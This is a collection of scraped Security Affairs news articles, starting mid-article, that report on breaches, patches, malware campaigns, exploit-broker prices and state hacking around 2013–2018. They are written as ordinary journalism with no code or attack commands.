cyber espionage.”, “Stolen information could be used in the election campaign to discredit German politicians.”, On the other side, the Kremlin denies involvement and warns the US and asked Washington clarifications for US cyber threats., Pierluigi Paganini, (Security Affairs – Russia, APT 28 state-sponsored hacking) |
7264_76939 | According to the FBI, the number of business email account (BEC) and email account compromise (EAC) scam incidents worldwide reached 78,000 between October 2013 and May 2018., Business email compromise (BEC) and email account compromise (EAC) scam losses worldwide increased by 136% from December 2016 to May 2018, in the same period overall BEC/EAC losses result in $12 billion., Experts from Digital Shadows highlighted the availability of huge archive online that could be used by crooks to target the companies. It is quite easy to find online AWS buckets containing backups of email archives, the same data could be found on publicly-accessible rsync, FTP, SMB, and NAS drives., The experts estimated that some 12.5 million archive files (.eml, .msg, .pst, .ost, .mbox) containing sensitive and financial information have been exposed online., “Digital Shadows detected 33,568 email addresses of finance departments exposed through third party compromises. Eighty-three percent (27,992) of these emails had passwordsassociated with them. If these passwords have been reused for corporate accounts, this may leave organizations at risk to account takeovers.” reads the report published by Digital Shadows., Experts found over 50,000 email files that contained terms such as “invoice”, “payment”, or “purchase order” terms in misconfigured or unauthenticated file stores., In some cases, the compromised email archives included also passport scans. According to the report, crooks use to search for company emails that contained “ap@”, “ar@”, “accounting@”, “accountreceivable@”, “accountpayable@”, and “invoice@”., Company credentials are a valuable commodity in the cybercrime underground, they are offered up to $5,000 for a single username and password pair., , The growing interest of cybercriminals in BEC scams has driven the growth of BEC-as-a-Service, this kind of services is widely available for as little as $150., “It’s possible to outsource this work to online actors, who will acquire company credentials for a set fee or percentage of earnings. The price will vary depending on the type of mail service, but services are available from as little as $150.” continues the report., Experts warn that BEC attacks are a global problem, email archives are exposed predominantly across the European Union (5.2 million), North America (2.9 million), and Asia-Pacific (2 million)., In order to reduce the risk, Digital Shadows experts recommend the following measures to organizations:, Below the key findings of the report:, Pierluigi Paganini, (Security Affairs – cybercrime, fraud) |
2055_34893 | Adobe has issued a critical update for the Flash Player product that fixes set of 11 critical security vulnerabilities in its software. The update is classified as critical because most of the security flaws could be exploited by a threat actor to remotely execute arbitrary code on a targeted machine., Giving a look at the list of the vulnerabilities fixed by the update it is possible to note that nine flaws are Remote Code Execution vulnerabilities. In a classic attack scenario, the attack chain could start with specially crafted Flash file server through a phishing campaign. The specially crafted Flash file could be exploited by attackers to trigger the vulnerabilities and execute arbitrary code on the victim’s PC., The complete list of all the patched vulnerabilities is reported below:, The vulnerabilities affect all versions prior to the latest version 17.0.0.134 of the Flash Player running on Windows and Mac OS X systems., , , Adobe Flash Player installed with Google Chrome, as well as Internet Explorer on Windows 8.x, will automatically update to version 17.0.0.134, “Adobe has released security updates for Adobe Flash Player for Windows, Macintosh and Linux. These updates address vulnerabilities that could potentially allow an attacker to take control of the affected system.” states the Adobe Security Advisory Bulletin. , The security bulletin also reports that Adobe Flash Player 11.2.202.442 for Linux and Flash Player Extended Support Release 13.0.0.269 for Windows and Mac OS X are affected by the vulnerabilities fixed by the update., The good news is that Adobe confirmed that none of the vulnerabilities are being publicly exploited in the wild, anyway security experts fear an escalation of attacks exploiting the above flaws after the release of the update. In the criminal ecosystem, it is quite easy to see a spike in the number of attacks targeting recently fixed vulnerabilities with the intent to exploit vulnerable machines not yet fixed., The update released by Adobe comes a few days Apple and Microsoft have released updates for their products to patch the FREAK encryption-downgrade flaw., Don’t waste time, if you are running Adobe Flash Player on your system update it!, Pierluigi Paganini, (Security Affairs – Adobe, critical update) |
6883_74068 | Security experts from FireEye have documented the PROPagate code injection technique that was observed for the first time in a malware distribution campaign in the wild., The PROPagate code injection technique was first discovered in November 2017 by a Hexacorn security researcher that demonstrated it works on all recent Windows versions and could allow attackers to inject malicious code into other applications., The expert discovered that it is possible to abuse legitimate GUI window properties (UxSubclassInfo and CC32SubclassInfo) utilized internally by SetWindowSubclass function to load and execute malicious code inside other applications., Back then, a security researcher found that an attacker could abuse the SetWindowSubclass API, a function of the Windows operating system that manages GUIs, to load and execute malicious code inside the processes of legitimate apps., Malware authors took several months to adopt the PROPagate code injection technique in a live malware campaign., Recently the experts at FireEye uncovered a campaign leveraging RIG Exploit Kit delivering Monero miner via the PROPagate code injection technique., The operators of the RIG exploit kit are hijacking traffic from legitimate sites using a hidden iframe and redirects them to a page hosting the exploit kit. The RIG exploit kit uses three JavaScripts snippets, each of which uses a different technique to deliver the malicious payload. Thre three techniques spread the malware:, Below the attack chain described by FireEye:, “The attack chain starts when the user visits a compromised website that loads the RIG EK landing page in an iframe. The RIG EK uses various techniques to deliver the NSIS (Nullsoft Scriptable Install System) loader, which leverages the PROPagate injection technique to inject shellcode into explorer.exe.” reads the analysis published by FireEye., “This shellcode executes the next payload, which downloads and executes the Monero miner. “, , The analysis of the payload allowed the experts to determine that threat actors have used multiple payloads and anti-analysis techniques to bypass the analysis environment., , , “Although we have been observing a decline in Exploit Kit activity, attackers are not abandoning them altogether.” In this blog post, we explored how RIG EK is being used with various exploits to compromise endpoints. We have also shown how the NSIS Loader leverages the lesser known PROPagate process injection technique, possibly in an attempt to evade security products.” concluded FireEye., Pierluigi Paganini, (Security Affairs – PROPagate code injection, malware) |
5206_58992 | It is quite easy to buy in dark web marketplaces any kind of illegal product and service, including fake certifications and diplomas., According to Israeli threat intelligence firm Sixgill, certifications and degrees are very cheap and it is possible to hire hackers to break into the university computer systems and alter grades. Sixgill identified several hackers that could be hired to compromise systems at the University in order to change grades and remove academic admonishments., According to the experts, this is a profitable business for hackers and the market of fake diplomas is booming., As Sixgill CEO and CoFounder, Avi Kasztan says, “Cyber criminals have created a digital marketplace where unscrupulous students can purchase or gain information necessary to provide themselves with unfair and illegal academic credentials and advantages” told TheNextWeb., Researchers from Sixgill have identified multiple vendors offering for sale degrees and accreditation, and the quality of the documents in some cases it high., , Sixgill report a case of a seller offering a fake London Metropolitan University diploma that claims the quality of the paper and the embossed seal, and how it’s the “identical size to the original”., According to the vendor, such kind of document is “Perfect to be used at places where they just do a cursory inspection (eg: where they just look at the seal and appearance of the degree itself, without doing any cursory checks).”, Of course, crooks have in their product portfolio the fake degrees from most prestigious institutions like Oxford University, Cambridge University, and Harvard, but the researchers highlighted that the majority of them are from ordinary schools (i.e. Liverpool John Moores University, Middlesex University, and the University of Northern Iowa)., Crooks also offer many other types of counterfeit documents, including drivers licenses and passports, and fake professional certifications., As usual, buyers can use the Bitcoin for payments, prices for fake diplomas range from $200-400, and most of the markets that offer them also give to the user an escrow service., Sixgill also reported the case of an alleged hacker who was searching for a skilled hacker to “… change a few notes in my university system.”, , In one forum thread, a student was recruited to physically access the teacher’s computer to insert an infect an infected USB in order to install a Keylogger., Sixgill also discovered the sale of a guide on how to hack university grading systems, the document was offered for just $15., Pierluigi Paganini, (Security Affairs – iCloud Keychain, hacking) |
5299_59748 | Saudi Arabia, the United Arab Emirates, Egypt and Bahrain say they want to interrupt any diplomatic relation with Qatar., According to Al Jazeera, the Saudi kingdom made the announcement via its state-run Saudi Press Agency early on this morning, the three Gulf states gave Qatari residents and visitors two weeks to leave their countries., The crisis is very dangerous, Saudi also closed the border and halted air and sea traffic with Qatar, the State is also inviting “all brotherly countries and companies to do the same.”, Etihad Airways announced it would suspend flights to and from Qatar beginning Tuesday morning., Similar measures have been announced by Bahrain, its foreign ministry issued a statement announcing it would withdraw its diplomatic mission from Doha within 48 hours and that all Qatari diplomats should leave Bahrain within the same period., Qatar’s foreign ministry defined the measures taken by the Arab nations “unjustified”., “The measures are unjustified and are based on claims and allegations that have no basis in fact,” the statement said. The measures will “not affect the normal lives of citizens and residents”., Egypt also closed airspace and seaports for all Qatari transportation “to protect its national security., The crisis escalated after the so-called Qatar hack, cyber attacks hit the the Qatar’s state-run news agency. Qatar faced an unprecedented security breach, unknown attackers posted fake news stories attributed to its ruler on highly sensitive regional political issues., , The hackers hit the Qatar official news agency website and Twitter account causing serious problems to the country., Hackers shared fake content supposedly addressed by Emir Sheikh Tamim bin Hamad Al-Thani, including the Palestinian-Israeli conflict, tensions with the Trump’s administration, strategic relations with Iran, and comments about Hamas., “The Qatar News Agency website has been hacked by an unknown entity,” reported the Communications Office in a statement., “A false statement attributed to His Highness has been published.”, Hackers also published on the hijacked Twitter account a fake story in Arabic apparently from the country’s foreign minister, Mohammed bin Abdulrahman Al-Thani, about Qatar withdrawing its ambassadors from several countries in other East Gulf states., The fake statement on QNA was reported by broadcasters in the Gulf area, including in the United Arab Emirates and Saudi Arabia, meanwhile, Al-Jazeera transmissions and websites were blocked for some time in the UAE., A cyber attack is triggering a severe crisis in the area, below the comment of Qatar’s foreign minister., “There are international laws governing such crimes, especially the cyberattack. The hackers will be prosecuted according to the law,” Mohammed bin Abdulrahman Al Thani, Qatar’s foreign minister, said on Wednesday., The FBI is supporting Qatar investigation of the “hack” of state media, a source with knowledge of the probe confirmed Friday., The Qatari government asked for US help and an FBI team has been in Doha last week., “American support was requested and a team sent which has been in Doha since last Friday, working with Qatar’s interior ministry,” the source said., Qatar would publicly announce the results of the investigation., Experts fear a repetition of the 2014 crisis, when several Gulf countries recalled their ambassadors from Doha over its support for the Muslim Brotherhood., Pierluigi Paganini, (Security Affairs – Gulf crisis, Qatar hack) |
2599_39042 | Microsoft Windows 10 is the new operating system of the IT giant, the newborn already reached more than 14 million downloads in just two days. The experts who have already analyzed Windows 10 explained that it is quite difficult to change default settings, and these settings represent a threat for the user’s privacy., Technology journalists described Windows 10 as faster and more user-friendly than any previous version of Windows OS., The privacy settings in Windows 10 operating system are invasive by default, the experts confirmed that in some cases the changing of a parameter involves over a dozen different screens and the connection to a company website., The procedure request users signing in with their Microsoft email account, this means Windows can have access to their email accounts, messages, contacts and calendar data., , Microsoft Windows 10 comes with the new Edge browser which serves user personalized ads., The Microsoft voice-driven assistant Cortana reportedly “plays fast and loose with your data.” , Microsoft Windows 10 wants access to user locations and location history, another element of concerns for its users., Consider also that user locations and location history could be provided not just to Microsoft, but to its “trusted partners,” but who are these trusted companies? , , Alec Meer of the ‘Rock, Paper, Shotgun’ blog highlighted this statement in Microsoft’s terms of use agreement:, “We will access, disclose and preserve personal data, including your content (such as the content of your emails, other private communications or files in private folders), when we have a good faith belief that doing so is necessary to.”, Meer explained that Microsoft is not informing its users that it is “gathering and storing vast amounts of data on your computing habits,”., “There is no world in which 45 pages of policy documents and opt-out settings split across 13 different Settings screens and an external website constitutes ‘real transparency,’” he wrote., Privacy advocates have raised concerns over the policies of IT Giants that are collecting a vast amount of user data, Microsoft Windows 10 seems to be a perfect instrument to do it., Pierluigi Paganini, (Security Affairs – Microsoft Windows 10, privacy) |
5625_62325 | The zero-day and exploit broker Zerodium, founded by former VUPEN co-founder Chaouki Bekrar, offers $500,000 for a zero-day exploit in secure messaging Messaging (i.e. such as WhatsApp, Signal, Facebook Messenger, iMessage, Telegram, WeChat, Viber) and Email App., Secure messaging apps continues to represent a serious obstacle to the investigations conducted by law enforcement agencies and secret services, for this reason, zero-day exploits are precious commodities., The firm has officially announced that it will reward experts for remote code execution and privilege escalation vulnerabilities affecting popular instant messaging and email applications., The company published separate payout lists for mobile device exploits and desktop and server exploits., , Zerodium offers half a million dollars for SMS/MMS flaws and exploits targeting default email apps on both iOS and Android., The company will pay up to $1.5 million for a remote iPhone jailbreak that will not need any user interaction, while the same exploit with user interaction will be paid up to $1 million., Looking at the payout lists we can notice new entries in the mobile category, such as baseband, and media file and document vulnerabilities., Zerodium will pay up to $100,000 for sandbox escapes, code-signing bypasses, kernel LPE, Wi-Fi RCE and LPE, and SS7 attacks., Zerodium also announced that it would offer $300,000 for Windows 10 remote code execution zero days, especially exploits for Windows services such as SMB or RDP., Web server zero days, specifically Apache on Linux and Microsoft IIS remote code execution attacks, goes for $150,000, while a Microsoft Outlook RCE is worth $100,000. Mozilla Thunderbird RCE and VMware ESXi guest-to-host escapes are both worth $80,000., Zerodium payouts for Chrome, PHP, and OpenSSL attacks nearly doubled, meanwhile prices for antivirus privilege escalation flaws dropped from $40,000 to $10,000., Tor RCEs on Linux and Windows jumped from $30,000 up to $100,000 and $80,000 respectively., Zerodium payouts for Adobe Flash are up to $100,000 for exploits targeting the application., Pierluigi Paganini, (Security Affairs – Zerodium payouts, hacking) |
577_13947 | On The internet is circulating the news of the LivingSocial data breach, an incident that menace the privacy of million of users and that rekindling the debate on the level of security provided by major service companies that handle personal data of millions of users., LivingSocial is one of the largest daily deals company , behind Groupon Inc., part-owned byAmazon.com Inc., last Friday it was hit by a cyber attack that may have affected more than 50 million customers. The attackers gathered the access to the company servers and to customer data including names, email addresses, “encrypted” passwords and some users’ dates of birth., The news has been provided by an internal memo emailed to employees and obtained by AllThingsD, the memo confirmed LivingSocial data breach and that neither customer credit card information nor merchant banking information was compromised., The company promptly sent an email to its clients recommending the creation of new passwords for affected customers, following the message sent via email by the company Chief Executive Tim O’Shaughnessy:, “We recently experienced a cyber attack on our computer systems that resulted in unauthorized access to some customer data from our servers,” , “We are actively working with law enforcement to investigate this issue.”, The Imperva Security Blog published an interesting post on the LivingSocial data breach trying to understand what happened, considering the enormous amount of data it is likely to think that the attackers exploited a vulnerability using a web SQL Injection attack or a framework based attack., , Imperva experts elaborated two hypotheses on the LivingSocial data breach:, The SQL Injection attack hypothesis , Based on the data structure that LivingSocial company announced to have it is very likely that the attackers used a SQL Injection attack., The framework based attack hypothesis , Attackers may have exploited a vulnerability in Ruby-On-Rails technology used by LivingSocial in its applications and application servers. Various Ruby vulnerabilities enable a remote attacker to gain control over an exposed server and execute arbitrary code to compromise the target. In this case the LivingSocial may haven’t patched its software., Whatever is the cause of a so serious data breach it is fundamental that the company operates protecting its customers and ensuring the continuity of its activity, Once again the media impact of such incidents could have a serious impact on the victims guilty of underestimating the importance of cyber security., Pierluigi Paganini, (Security Affairs – Data Breach) |
4545_53814 | According to experts from the security firm Proofpoint, scammers are advertising on YouTube backdoored phishing templates offering also “how-to” videos and manuals., It is not a novelty, cyber criminals are switching on legitimate websites to propose their products and services., Proofpoint researchers have observed scammers distributing phishing templates and related kits via YouTube, a query for “paypal scama” returns over 114,000 results., The kits offered for sale through YouTube include a backdoor that automatically sends the phished information back to the author., “A simple search for “paypal scama” returns over 114,000 results. There’s a catch, though, for criminals downloading the software: a backdoor sends the phished information back to the author. While backdoors on these templates aren’t new, the use of YouTube to advertise and distribute them is a new trend.” reads a blog post published by Proofpoint., The videos show the appearance of the templated and provide instruct to the potential buyers on how to steal information from the victims with phishing attacks., The post shows as an example of these malicious kits, an Amazon phishing template that replicates the legitimate login page of the popular website., , The researchers downloaded one of the kits advertised on YouTube and analyzed it discovering that the clumsy scammer left his Gmail address hardcoded in the template alongside with an email address used to receive the stolen credentials from the template., , The researchers also analyzed a template for PayPal scammers that was improved to avoid suspicion., “In this PayPal scam, the author attempts to avoid raising suspicions by adding a PHP include for a file called style.js just before the PHP “mail” command is used to ship off the stolen credentials.” reads the analysis., The researchers noticed that many videos have been posted for months, a circumstance that suggests the lack of filtering mechanisms implemented by YouTube., “Many of the video samples we found on YouTube have been posted for months, suggesting that YouTube does not have an automated mechanism for detection and removal of these types of videos and links. They remain a free, easy-to-use method for the authors of phishing kits and templates to advertise, demonstrate, and distribute their software,” states Proofpoint., Stay Tuned., Pierluigi Paganini, (Security Affairs – phishing templates, cybercrime) |
6717_72754 | Security experts from Kaspersky Lab discovered that the operators behind the Roaming Mantis campaign continue to improve their malware broadening their targets, their geographic range and their functional scope., Roaming Mantis surfaced in March 2018 when hacked routers in Japan redirecting users to compromised websites. Investigation by Kaspersky Lab indicates that the attack was targeting users in Asia with fake websites customized for English, Korean, Simplified Chinese and Japanese. Most impacted users were in Bangladesh, Japan, and South Korea., “Our research revealed that the malware (sic) contains Android application IDs for popular mobile banking and game applications in South Korea. The malware is most prevalent in South Korea, and Korean is the first language targeted in HTML and test.dex. Based on our findings, it appears the malicious app was originally distributed to South Korean targets. Support was then added for Traditional Chinese, English, and Japanese, broadening its target base in the Asian region.”, The dreaded DNS hijacking malware was originally designed to steal users’ login credentials and the secret code for two-factor authentication from Android devices, it has evolved and recently was spotted targeting iOS devices as well as desktop users., “In April 2018, Kaspersky Lab published a blog post titled ‘Roaming Mantis uses DNS hijacking to infect Android smartphones’. Roaming Mantis uses Android malware which is designed to spread via DNS hijacking and targets Android devices.” reads the analysis published by Kaspersky., “In May, while monitoring Roaming Mantis, aka MoqHao and XLoader, we observed significant changes in their M.O. The group’s activity expanded geographically and they broadened their attack/evasion methods. Their landing pages and malicious apk files now support 27 languages covering Europe and the Middle East. In addition, the criminals added a phishing option for iOS devices, and crypto-mining capabilities for the PC.”, Operators behind the Roaming Mantis malware recently added the support for 27 languages to broaden their operations., The versions of the Roaming Mantis malware continue to be spread via DNS hijacking, attackers used rogue websites to serve fake apps infected with banking malware to Android users, phishing sites to iOS users, and redirect users to websites hosting cryptocurrency mining script., To evade detection, malicious websites used in the campaign generate new packages in real time., “This is a new feature. According to our monitoring, the apk samples downloaded on May 8, 2018 were all the same.”, According to Kaspersky, the recent malicious apk now implements 19 backdoor commands, including the new one “ping” and sendSms, setWifi, gcont, lock, onRecordAction, call, get_apps,, Owners of iOS devices are redirected to a phishing site ( that mimics the Apple website in the attempt of stealing user credentials and financial data (user ID, password, card number, card expiration date and CVV number)., , The Roaming Mantis operators have recently started targeting PC platforms, users are redirected to websites running the Coinhive web miner scripts., The level of sophistication of the operations conducted by the Roaming Mantis gang and the rapid growth of the campaign lead the researchers into believing that the group has a strong financial motivation and is well-funded., “The evasion techniques used by Roaming Mantis have also become more sophisticated. Several examples of recent additions described in this post include a new method of retrieving the C2 by using the email POP protocol, server side dynamic auto-generation of changing apk file/filenames, and the inclusion of an additional command to potentially assist in identifying research environments, have all been added.” concludes Kaspersky.
“The rapid growth of the campaign implies that those behind it have a strong financial motivation and are probably well-funded.”, Further details, including IoCs are available in the report published by Kaspersky., Pierluigi Paganini, (Security Affairs – Roaming Mantis, cybercrime), , |
6911_74297 | Timehop is a service that aims to help people in finding new ways to connect with each other by analyzing past activities., “Timehop created the digital nostalgia category and continues to be THE team reinventing reminiscing for the digital era. We have more “old” photos and content than ever before, yet most of the internet focuses on “new”.” reads its website., The Timehop service leverages posts from many social networks to build its own memory and use it to create new connections, but something went wrong., The company admitted that data describing 21 million members may have been exposed., Unknown attackers breached into its systems, the company discovered the intrusion while the hackers were exfiltrating the data., “On July 4, 2018, Timehop experienced a network intrusion that led to a breach of some of your data. We learned of the breach while it was still in progress, and were able to interrupt it, but data was taken. While our investigation into this incident (and the possibility of any earlier ones that may have occurred) continues, we are writing to provide our users and partners with all the relevant information as quickly as possible.” reads the data breach notification published by the company., Stolen data includes names, email addresses, and some phone numbers, while no private/direct messages, financial data, or social media or photo content, or Timehop data including streaks were exposed., The company pointed out that none of the users’ “memories,” – the social media posts & photos that Timehop stores, were accessed by the attackers., The company admitted that hackers obtained access credential to its cloud computing environment, that incredibly was not protected by multifactor authentication., The security team locked out the attackers two hours and nineteen minutes later its discovery., The attackers also accessed the keys that let Timehop read and show you your social media posts (but not private messages), in response to the incident the IT staff at the company has deactivated them, this means that users will have to re-authenticate to their App., , The bad news is that the security breach also exposed access tokens used by Timehop to access other social networks such as Twitter, Facebook, and Instagram. Timehop tried to downplay the problem explaining that the tokens have been quickly revoked and currently don’t work., “Second, we want to be clear that these tokens do not give anyone (including Timehop) access to Facebook Messenger, or Direct Messages on Twitter or Instagram, or things that your friends post to your Facebook wall. In general, Timehop only has access to social media posts you post yourself to your profile.” continues the company’s notification.“However, it is important that we tell you that there was a short time window during which it was theoretically possible for unauthorized users to access those posts – again, we have no evidence that this actually happened.“, Timehop is warning its users that provided a phone number for the authentication of taking additional security precautions with their cellular provider to ensure that their number cannot be ported., The company now has taken steps to improve the security of its architecture, including the adoption of multifactor authentication to secure our authorization and access controls on all accounts., Technical details about the incident have been published in this post., Pierluigi Paganini, (Security Affairs – Timehop, Data Breach) |
1293_26105 | Two-factor authentication processes if flawed could give to companies a false sense of security even if we are discussing of PayPal. In the past we have explained how to by-pass Two-factor authentication in various ways, for example, using a malware or exploiting a flaw in the process itself., The implementation of two-factor authentication made by PayPal is flawed and an attacker can elude it for the service and transfer money from a victim’s account to any recipient he chooses. The disconcerting discovery was made by security researchers at Duo Security which have found a flaw in the PayPal authentication mechanism for mobile apps for iOS and Android., The vulnerability is in the PayPal Security Key, PayPal two-factor authentication implementation sends a one-time code to enter after typing user’s credentials, the problem is that on a mobile client the security feature has never worked., “This is a really unfortunate implementation of two-factor because it damages what benefits it offered,” “An attacker only needs a victim’s PayPal username and password in order to access a two-factor protected account and send money. The protection offered by the two-factor Security Key mechanism can be bypassed and essentially nullified,” Zach Lanier, a senior security researcher at Duo Security, wrote in his explanation of the vulnerability and its effects., PayPal is aware of the security issue since March and it has already provided a temporary fix, but the company hasn’t yet planned the release of a full patch. According to the experts at Duo Security, the vulnerability may have been present in the mechanism since the launch of the first PayPal mobile app in 2008., “While PayPal’s mobile apps do not currently support 2FA-enabled accounts, it is possible to effectively trick the PayPal mobile applications into ignoring the 2FA flag on the account, subsequently allowing the an attacker to log in without requiring secondary authentication.”, The experts have developed a proof-of-concept app that is able to exploit the vulnerability, when a user with two-factor authentication enabled signed in via the mobile app, they were briefly logged in before the server sends him a message to inform him that he could not continue as the feature was not compatible with mobile., , All is started with the amazing discovery of expert Daniel Blake Saltman, which noticed that using the flight mode to quickly turn off connectivity when the user was logged in, and then switching it back on again, the user remained logged in, thereby bypassing the 2FA mechanism., , , But by simply turning off connectivity in that brief gap when the user was logged in, and then switching it back on again, the user remained logged in, thereby bypassing the second factor of authentication., The researchers have built an app that is able to trick the PayPal API into thinking that the mobile app was accessing an account that doesn’t have 2FA enabled. The application designed by Duo Security is able to invoke two distinct APIs at PayPal, one which manages the authentication process and a second one that handles the money transfer after login., Experts have written a small Python program to mimic the behavior of the mobile app, they discovered that a “session token” was sent by the PayPal API server to the app confirming the user was logged in. The program written is able to perform the following operations:, “As it turned out, “session_token” is used for authorization againstmobileclient.paypal.com, an otherwise (publicly) undocumented SOAP-based API that provides additional account-related functionality, including but not limited to sending money., We then stepped through the “send money” process in the mobile apps, again capturing traffic with Burp. Through this, we were able to observe the necessary requests/responses and SOAP envelopes (read: painful XML) that make up a PayPal fund transfer from their mobile applications. The funds transfer process turned out to be a four-step exchange, with each request requiring a value unique to the overall transaction.” reports Duo Security., To preserve its clients PayPal stopped returning the session tokens for security key-enabled accounts, thereby stopping anyone logging in. PayPal has anticipated to Duo Security firm that the flaw in the two-factor authentication mechanism will be definitively fixed on July 28th., PayPal confirmed that they have adopted necessary countermeasures to secure all their accounts., “As a precaution we have disabled the ability for customers who have selected 2FA to log in to their PayPal account on the PayPal mobile app and on certain other mobile apps until an identified fix can be implemented in the next few weeks,” a PayPal spokesperson said., Pierluigi Paganini, (Security Affairs – PayPal, two-factor authentication) |
5565_61825 | Adobe released security updates for its Flash Player, Reader, Acrobat, Digital Editions and Experience Manager products. The company addressed more than 80 vulnerabilities., Adobe has updated Flash Player to version 26.0.0.151 on all platform, this release addresses only two vulnerabilities, a serious security bypass flaw, tracked as CVE-2017-3085, that can lead to information disclosure and a critical type confusion flaw (CVE-2017-3106) that can lead to remote code execution., “Adobe has released security updates for Adobe Flash Player for Windows, Macintosh, Linux and Chrome OS. These updates address a critical type confusion vulnerability that could lead to code execution and an important security bypass vulnerability that could lead to information disclosure.” reads the security advisory., The experts Mateusz Jurczyk and Natalie Silvanovich of Google Project Zero were credited for the code execution vulnerability, while the information disclosure issue was reported by Björn Ruytenberg via ZDI., Adobe announced end of life for Flash Player by the end of 2020., 69 vulnerabilities were fixed in Reader and Acrobat 2017.009.20058, 2017.008.30051 and 2015.006.30306 and earlier versions on Windows and Mac., The security updates fix flaws rated Critical and Important that could be exploited by hackers to take control of the affected system., The list of flaws includes critical memory corruption, use-after-free, heap overflow, and type confusion vulnerabilities, according to Adobe they can be exploited for remote code execution and some of them can lead to information disclosure., The flaws have been discovered and reported by external independent researchers, many of them via the Trend Micro’s Zero Day Initiative (ZDI), the expert Ke Liu from Tencent’s Xuanwu LAB was credited with the highest number of issues., , Adobe also patched three moderate and important severity vulnerabilities in the Experience Manager enterprise content management product. The flaw could be exploited by attackers for information disclosure and arbitrary code execution, the vulnerabilities were reported to Adobe anonymously., “Adobe has released security updates for Adobe Experience Manager. These updates resolve a moderate file type validation vulnerability (CVE-2017-3108) and two moderate information disclosure vulnerabilities (CVE-2017-3107 and CVE-2017-3110).” reads the advisory., Adobe addressed 9 vulnerabilities with the latest updates for the Windows, Mac, iOS and Android versions of the Adobe Digital Editions ebook reader that have been reported by Steven Seeley of Source Incite, Jaanus Kääp of Clarified Security, and Riusksk of Tencent., Two flaws tracked as CVE-2017-11274 and CVE-2017-11272, have been rated as critical, they can trigger code execution and information disclosure., Adobe is not aware of attacks in the wild exploiting the above issues., Pierluigi Paganini, (Security Affairs – Adobe, hacking) |
6993_74902 | Google announced at Google Cloud Next ’18 convention in San Francisco the launch of the Titan Security Keys, a USB device that is used as part of its hardware-based two-factor authentication scheme for online accounts., “Titan Security Key, available now to Cloud customers, and coming soon to the Google Store” states a blog post published by Google., The hardware-based two-factor authentication scheme is designed to prevent account takeover with phishing and MiTM attacks when the attacker has gained access to user’s credentials., , Google shared data related to the use of physical security keys by its personnel for months, the tech giant confirmed that none of its 85,000 employees that used the hardware-based two-factor authentication key has fallen victim to phishing attacks., “We have had no reported or confirmed account takeovers since implementing security keys at Google” a Google spokesperson said. , “Users might be asked to authenticate using their security key for many different apps/reasons. It all depends on the sensitivity of the app and the risk of the user at that point in time.”, The authentication through the physical USB security key is more secure compared to other processes., Titan Security Keys is based on the Fast IDentity Online (FIDO) Alliance, U2F (universal 2nd factor) protocol and was entirely designed by Google., The Titan Security Key is available in both USB and Bluetooth versions, Google will offer it for sale in the Google’s online store within the next few months., Log-in to Mobile devices will require a Bluetooth wireless device., Google did not reveal the price for Titan Security Keys, but rumors say it will be available for around $20 or $30., The Titan keys will be compatible with major browsers (i.e Chrome, Firefox, and Opera) and many online services, including Dropbox, Facebook, Github., Pierluigi Paganini, (Security Affairs – Titan Security Keys, authentication) |
1723_31062 | Yesterday I presented at the ISACA Roma & OWASP Italy conference the state of the art for the Internet of Things paradigm. The presentation highlights the security and privacy issues for the Internet of Things, a technology that is changing user’s perception of the technology., , , , , The presentation includes details of the diffusion of the Internet of Things devices, forecast on its growth and information related to the economy behind the paradigm., An entire session explores the possible misuses (i.e. DDoS, malware, thingbot) of the Internet of Things devices analyzing threat actors and the attack techniques implemented in real cases., Enjoy it!, Pierluigi Paganini, (Security Affairs – Internet of Things, OWASP, ISACA) |
2073_35089 | Security experts discovered two critical vulnerabilities in Drupal CMS, one of them is an Access bypass (Password reset URLs) vulnerability that could be exploited to forge Password Reset URLs., “Password reset URLs can be forged under certain circumstances, allowing an attacker to gain access to another user’s account without knowing the account’s password.” reports Drupal in a security advisory., The vulnerabilities affect Drupal 6.x versions prior to 6.35 and Drupal 7.x versions prior to 7.35, it has been estimated nearly 983,000 installations of a total 1.1 million websites are exposed to the risks, Bad actors can leverage the security issue to access user accounts without knowing their password. Drupal Versions 6.35 and 7.35 are available for download to fix the two critical flaws., , As explained by the Drupal team in a security advisory, the websites where the same password is used for multiple accounts resulted more vulnerable to cyber attacks. The flaws are exploitable only under specific conditions. In Drupal 7, the flaw is exploitable only if website administrators import or programmatically edit accounts with the same password hash for multiple accounts. In Drupal 6, the vulnerability is also exploitable by attackers if the website administrators create multiple new user accounts with the same password, or if the password hash field in the database is empty., “Drupal 6 sites that have empty password hashes, or a password field with a guessable string in the database, are especially prone to this vulnerability. This could apply to sites that use external authentication so that the password field is set to a fixed, invalid value,” added Drupal., The second flaw is an Open redirect vulnerability, the attackers manipulate the “destination” parameter to exploit the open redirect vulnerability. The “destination” parameter is used in URLs to redirect website visitors to a new page after they have completed an action, in this specific case the attacker can use the parameter to craft an URL that will trick users into being redirected to a 3rd party website., “Under certain circumstances, malicious users can use this parameter to construct a URL that will trick users into being redirected to a 3rd party website, thereby exposing the users to potential social engineering attacks,” Drupal said. “In addition, several URL-related API functions in Drupal 6 and 7 can be tricked into passing through external URLs when not intending to, potentially leading to additional open redirect vulnerabilities.”, Users have to update their Drupal websites urgently., Pierluigi Paganini, (Security Affairs – Drupal, CMS) |
5141_58403 | The nonprofit organization (ISC)² has issued a recommendation calling President Trump to develop workforce as a priority when he issued the final version of the cybersecurity executive order. The main goal is to tackle the lack of professionals and to address a variety of uncertainty across the industry., Industry leaders and government agencies in a move aimed to counter the hiring freeze executive order that has limited the investments in cybersecurity developed the recommendations., The lack of new cybersecurity professionals and talents across the industry is not compatible with senior professionals leaving the market for retirement., The actual emerging threat landscape of new menaces and the progresses already done in the cyber security field were taken into account as well as the human resource personnel on incentivizing jobs acquisition, hiring, and retention., Other recommendations include the development of communicator to translate technical risks to board members, retention of talents and a new approach based on NIST for compliance based on resilience., , The recommendation takes into account the recent data breaches and new threats as ransomware and IoT. It underlines that security does not reside in Compliance but in an in-depth defense and an understanding of the board members of the risks related to lack of personnel and understanding about new technologies., The recommendations come in the period of President Trump first 100 days in office, in such way that the executive orders can address all the topics and furthermore prepare the nation for the future. The formation of a Cyber National Guard (ISC)² urged the White House to address to help scientific, technological, engineering and math graduates to reimburse student loans if they accept work for federal agencies., Sources:, About the author Luis Nakamoto, Luis Nakamoto is a Computer Science student of Cryptology and a enthusiastic of information security having participated in groups like Comissão Especial de Direito Digital e Compliance (OAB/SP) and CCBS (Consciência Cibernética Brasil) as a researcher in new technologies related to ethical hacking, forensics and reverse engineering. Also a prolific and compulsive writer participating as a Redactor to Portal Tic from Sebrae Nacional., Pierluigi Paganini, (Security Affairs – executive order, ISC2) |
